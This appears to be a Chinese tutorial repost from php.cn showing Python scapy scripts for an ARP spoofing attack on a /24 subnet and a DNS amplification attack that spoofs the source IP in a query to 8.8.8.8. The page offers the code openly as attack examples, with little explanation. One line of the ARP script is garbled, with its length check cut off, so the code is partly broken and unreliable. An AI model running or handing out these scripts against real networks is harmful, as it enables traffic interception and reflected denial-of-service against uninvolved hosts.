Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子

WBOY
Release: 2016-06-10 15:19:21
Original
1543 people have browsed it

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

复制代码 代码如下:

#!/usr/bin/python
"""
ARP attack
"""
import sys, os
from scapy.all import *
if os.geteuid() != 0:
    print "This program must be run as root. Aborting."
    sys.exit()

if len(sys.argv)     print "Pkease Use %s x.x.x" % (sys.argv[0])
    exit()
attackIP = sys.argv[1] + ".0/24"
srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

复制代码 代码如下:

#coding:utf-8
from scapy import *
from scapy.all import *

a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
p = a/b/c
send(p)
~

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!